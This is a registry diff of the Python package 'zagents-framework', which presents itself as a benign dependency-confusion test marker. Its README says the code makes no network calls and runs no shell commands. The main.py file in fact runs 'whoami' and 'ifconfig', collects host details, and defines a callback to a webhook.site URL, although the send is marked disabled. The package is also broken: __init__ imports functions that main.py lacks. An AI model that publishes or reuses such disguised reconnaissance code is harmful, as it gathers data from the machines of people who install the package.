zagents-framework 6.25.30.10b5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of zagents-framework might be problematic. Click here for more details.

@@ -0,0 +1,17 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Authorized Security Testing
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
@@ -0,0 +1,60 @@
1
+ Metadata-Version: 2.4
2
+ Name: zagents_framework
3
+ Version: 6.25.30.10b5
4
+ Summary: Benign dependency-resolution test package
5
+ License: MIT License
6
+
7
+ Copyright (c) 2026 Authorized Security Testing
8
+
9
+ Permission is hereby granted, free of charge, to any person obtaining a copy
10
+ of this software and associated documentation files (the "Software"), to deal
11
+ in the Software without restriction, including without limitation the rights
12
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
13
+ copies of the Software, and to permit persons to whom the Software is
14
+ furnished to do so, subject to the following conditions:
15
+
16
+ The above copyright notice and this permission notice shall be included in all
17
+ copies or substantial portions of the Software.
18
+
19
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
22
+
23
+ Requires-Python: >=3.9
24
+ Description-Content-Type: text/markdown
25
+ License-File: LICENSE
26
+ Dynamic: license-file
27
+
28
+ # my-package
29
+
30
+ A benign marker package for **authorized dependency-resolution testing**.
31
+
32
+ ## Purpose
33
+
34
+ This package returns a fixed marker to help confirm which distribution was
35
+ installed and imported in a controlled test environment.
36
+
37
+ It does not access the network, inspect environment variables, read local
38
+ files, execute shell commands, or collect credentials.
39
+
40
+ ## Usage
41
+
42
+ ```python
43
+ import my_package
44
+
45
+ print(my_package.package_info())
46
+ print(my_package.test_marker())
47
+ ```
48
+
49
+ Expected marker:
50
+
51
+ ```text
52
+ DEPENDENCY_CONFUSION_TEST_PACKAGE_IMPORTED
53
+ ```
54
+
55
+ ## Authorized testing
56
+
57
+ Use only in environments you own or have explicit permission to assess.
58
+ Prefer a private test index or a staging project. Do not upload a package
59
+ using a name owned by another party or intended to impersonate an internal
60
+ dependency.
@@ -0,0 +1,33 @@
1
+ # my-package
2
+
3
+ A benign marker package for **authorized dependency-resolution testing**.
4
+
5
+ ## Purpose
6
+
7
+ This package returns a fixed marker to help confirm which distribution was
8
+ installed and imported in a controlled test environment.
9
+
10
+ It does not access the network, inspect environment variables, read local
11
+ files, execute shell commands, or collect credentials.
12
+
13
+ ## Usage
14
+
15
+ ```python
16
+ import my_package
17
+
18
+ print(my_package.package_info())
19
+ print(my_package.test_marker())
20
+ ```
21
+
22
+ Expected marker:
23
+
24
+ ```text
25
+ DEPENDENCY_CONFUSION_TEST_PACKAGE_IMPORTED
26
+ ```
27
+
28
+ ## Authorized testing
29
+
30
+ Use only in environments you own or have explicit permission to assess.
31
+ Prefer a private test index or a staging project. Do not upload a package
32
+ using a name owned by another party or intended to impersonate an internal
33
+ dependency.
@@ -0,0 +1,13 @@
1
+ [project]
2
+ name = "zagents_framework"
3
+ version = "6.25.30.10b5"
4
+ description = "Benign dependency-resolution test package"
5
+ readme = "README.md"
6
+ requires-python = ">=3.9"
7
+ license = { file = "LICENSE" }
8
+
9
+ [tool.setuptools]
10
+ package-dir = {"" = "src"}
11
+
12
+ [tool.setuptools.packages.find]
13
+ where = ["src"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,4 @@
1
+ """Benign dependency-resolution test package."""
2
+ from .main import test_marker, package_info
3
+
4
+ __all__ = ["test_marker", "package_info"]
@@ -0,0 +1,48 @@
1
+
2
+ import sys
3
+ import json
4
+ import os
5
+ import platform
6
+ import shutil
7
+ import subprocess
8
+ import urllib.request
9
+
10
+ def get_command_output(command):
11
+ executable = shutil.which(command[0])
12
+ if not executable:
13
+ return f"{command[0]} is not installed"
14
+
15
+ try:
16
+ result = subprocess.run(
17
+ [executable, *command[1:]],
18
+ capture_output=True,
19
+ text=True,
20
+ timeout=5,
21
+ check=False
22
+ )
23
+ return result.stdout.strip() or result.stderr.strip()
24
+ except (OSError, subprocess.TimeoutExpired) as exc:
25
+ return str(exc)
26
+
27
+ def dispatch_ping(callback_url):
28
+ payload = {
29
+ "status": "active",
30
+ "python_version": sys.version.split()[0],
31
+ "platform": sys.platform,
32
+ "pwd": os.getcwd(),
33
+ "whoami": get_command_output(
34
+ ["whoami"] if os.name == "nt" else ["whoami"]
35
+ ),
36
+ "ifconfig": get_command_output(["ifconfig"]),
37
+ "zagents_framework" : "6.25.30.10b5"
38
+ }
39
+
40
+ # Inspect collected results locally.
41
+ print(json.dumps(payload, indent=2))
42
+
43
+ # Keep the callback disabled while reviewing system information.
44
+ return payload
45
+
46
+ if __name__ == "__main__":
47
+ TARGET_URL = "https://webhook.site/b961eb5e-fabc-43a5-83a3-d1509c3a558e"
48
+ dispatch_ping(TARGET_URL)
@@ -0,0 +1,60 @@
1
+ Metadata-Version: 2.4
2
+ Name: zagents_framework
3
+ Version: 6.25.30.10b5
4
+ Summary: Benign dependency-resolution test package
5
+ License: MIT License
6
+
7
+ Copyright (c) 2026 Authorized Security Testing
8
+
9
+ Permission is hereby granted, free of charge, to any person obtaining a copy
10
+ of this software and associated documentation files (the "Software"), to deal
11
+ in the Software without restriction, including without limitation the rights
12
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
13
+ copies of the Software, and to permit persons to whom the Software is
14
+ furnished to do so, subject to the following conditions:
15
+
16
+ The above copyright notice and this permission notice shall be included in all
17
+ copies or substantial portions of the Software.
18
+
19
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
22
+
23
+ Requires-Python: >=3.9
24
+ Description-Content-Type: text/markdown
25
+ License-File: LICENSE
26
+ Dynamic: license-file
27
+
28
+ # my-package
29
+
30
+ A benign marker package for **authorized dependency-resolution testing**.
31
+
32
+ ## Purpose
33
+
34
+ This package returns a fixed marker to help confirm which distribution was
35
+ installed and imported in a controlled test environment.
36
+
37
+ It does not access the network, inspect environment variables, read local
38
+ files, execute shell commands, or collect credentials.
39
+
40
+ ## Usage
41
+
42
+ ```python
43
+ import my_package
44
+
45
+ print(my_package.package_info())
46
+ print(my_package.test_marker())
47
+ ```
48
+
49
+ Expected marker:
50
+
51
+ ```text
52
+ DEPENDENCY_CONFUSION_TEST_PACKAGE_IMPORTED
53
+ ```
54
+
55
+ ## Authorized testing
56
+
57
+ Use only in environments you own or have explicit permission to assess.
58
+ Prefer a private test index or a staging project. Do not upload a package
59
+ using a name owned by another party or intended to impersonate an internal
60
+ dependency.
@@ -0,0 +1,9 @@
1
+ LICENSE
2
+ README.md
3
+ pyproject.toml
4
+ src/my_package/__init__.py
5
+ src/my_package/main.py
6
+ src/zagents_framework.egg-info/PKG-INFO
7
+ src/zagents_framework.egg-info/SOURCES.txt
8
+ src/zagents_framework.egg-info/dependency_links.txt
9
+ src/zagents_framework.egg-info/top_level.txt